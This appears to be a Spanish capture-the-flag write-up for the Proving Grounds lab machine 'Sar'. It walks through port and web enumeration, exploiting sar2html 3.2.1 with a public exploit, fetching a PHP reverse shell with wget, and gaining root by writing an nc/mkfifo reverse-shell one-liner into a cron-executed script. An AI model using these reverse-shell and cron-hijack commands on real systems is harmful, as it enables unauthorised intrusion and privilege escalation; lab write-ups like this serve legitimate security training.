> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/sar.md).
# Sar
### Enumeración
#### Servicios abiertos
Comenzamos enumerando los servicios abiertos de la máquina "Sar"
```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.147.35
```
Dos puertos abiertos, 22 y 80. Continuamos con el escaneo profundo de estos servicios.
```
nmap -p22,80 -Pn -n -sVC -vvv 192.168.147.35
```
Servicios abiertos:
* Puerto 22 -> SSH -> OpenSSH 7.6
* Puerto 80 -> HTTP -> Apache httpd 2.4.29
#### Enumeración Web
La máquina "Sar" está ejecutando un servidor Web en el puerto 80, vamos a enumerar su contenido.
Página por defecto de un servidor que está ejecutando Apache. Vamos a enumerar directorios y archivos disponibles.
```
dirsearch -u "192.168.147.35" -i200,301 -t 30
```
Hay un archivo /robots.txt que puede ser interesante. Vamos a ver su contenido.
Parece un directorio. Vamos a enumerar su contenido.
Podemos ver la versión "sar2html 3.2.1". Vamos a tratar de buscar algún exploit existente para esta versión.
### Explotación
Existen dos posibles exploits. Vamos a descargar el exploit 49344.py
```
searchsploit -m 49344.py
```
Una vez descargado, ejecutamos el exploit.
Tenemos shell. Vamos a buscar la flag Local.txt
### Elevación de privilegios
La shell obtenida no nos permite movimiento alguno. Vamos a cargar una reverse shell en la máquina víctima que nos permita acceso completo al sistema.
```
En la máquina de ataque: python2 -m SimpleHTTPServer 80
En la máquina objetivo: wget http://192.168.49.147/php-reverse-shell.php
```
Ejecutamos un oyente nc en el puerto 1234 y abrimos la shell en el navegador Web.
Realizamos el tratamiento de la tty.
```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
Enumeramos los archivos disponibles en el directorio /var/www/html
En este directorio hay disponible dos ejecutables bash que pueden ser interesantes, finally.sh y write.sh.
Vamos a enumerar el contenido del archivo crontab
El archivo finally.sh que vimos en la enumeración del contenido del directorio, se ejecuta con privilegios elevados cada 5 minutos. Vamos a ver el contenido de los dos scripts que vimos anteriormente.
Tenemos permisos para escribir en el ejecutable write.sh pero no en finally.sh. Vamos a modificar el archivo write.sh para crear una reverse shell que se ejecutará cada 5 minutos.
```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.147 1337 >/tmp/f" > write.sh
```
Esperamos 5 minutos y deberemos obtener conexión en la máquina objetivo con privilegios máximos.
Solo quedará buscar la flag proof.txt para acabar la resolución de este CTF.
{% embed url="" %}